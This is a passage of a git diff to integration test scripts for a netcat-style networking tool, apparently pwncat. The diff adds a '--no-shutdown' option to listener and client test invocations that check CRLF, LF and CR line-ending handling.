+136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/002---tcp---client_crlf_crlf---server_sends_crlf.sh b/tests/integration/21-options---crlf/002---tcp---client_crlf_crlf---server_sends_crlf.sh index dc7825a5..b6924bda 100755 --- a/tests/integration/21-options---crlf/002---tcp---client_crlf_crlf---server_sends_crlf.sh +++ b/tests/integration/21-options---crlf/002---tcp---client_crlf_crlf---server_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/100---tcp---server_crlf_crlf---client_sends_lf.sh b/tests/integration/21-options---crlf/100---tcp---server_crlf_crlf---client_sends_lf.sh index 5eccb166..ca0ef3ec 100755 --- a/tests/integration/21-options---crlf/100---tcp---server_crlf_crlf---client_sends_lf.sh +++ b/tests/integration/21-options---crlf/100---tcp---server_crlf_crlf---client_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/101---tcp---server_crlf_crlf---client_sends_cr.sh b/tests/integration/21-options---crlf/101---tcp---server_crlf_crlf---client_sends_cr.sh index a2e9dd32..a37b7f54 100755 --- a/tests/integration/21-options---crlf/101---tcp---server_crlf_crlf---client_sends_cr.sh +++ b/tests/integration/21-options---crlf/101---tcp---server_crlf_crlf---client_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/102---tcp---server_crlf_crlf---client_sends_crlf.sh b/tests/integration/21-options---crlf/102---tcp---server_crlf_crlf---client_sends_crlf.sh index 10f6de29..e734ca93 100755 --- a/tests/integration/21-options---crlf/102---tcp---server_crlf_crlf---client_sends_crlf.sh +++ b/tests/integration/21-options---crlf/102---tcp---server_crlf_crlf---client_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vvvv" "${RHOST} ${RPORT} --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf crlf -vvv " "${RHOST} ${RPORT} --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -vv " "${RHOST} ${RPORT} --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf -v " "${RHOST} ${RPORT} --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf crlf " "${RHOST} ${RPORT} --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf -v " "${RHOST} ${RPORT} --no-shutdown --crlf crlf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf crlf " "${RHOST} ${RPORT} --no-shutdown --crlf crlf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh b/tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh index 670e541a..5b6eb6f8 100755 --- a/tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh +++ b/tests/integration/21-options---crlf/200---tcp---client_crlf_lf---server_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf lf " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -vv " "${RHOST} ${RPORT} --no-shutdown --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf -v " "${RHOST} ${RPORT} --no-shutdown --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf lf " "${RHOST} ${RPORT} --no-shutdown --crlf lf " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh b/tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh index c781f07b..873a1106 100755 --- a/tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh +++ b/tests/integration/21-options---crlf/201---tcp---client_crlf_lf---server_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vvvv" "${RHOST} ${RPORT} --crlf lf " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf lf -vvv " "${RHOST} ${RPORT} --crlf lf -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -vv " "${RHOST} ${RPORT} --crlf lf -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf -v " "${RHOST} ${RPORT} --crlf lf -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf lf " "${RHOST} ${RPORT} --crlf lf " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} 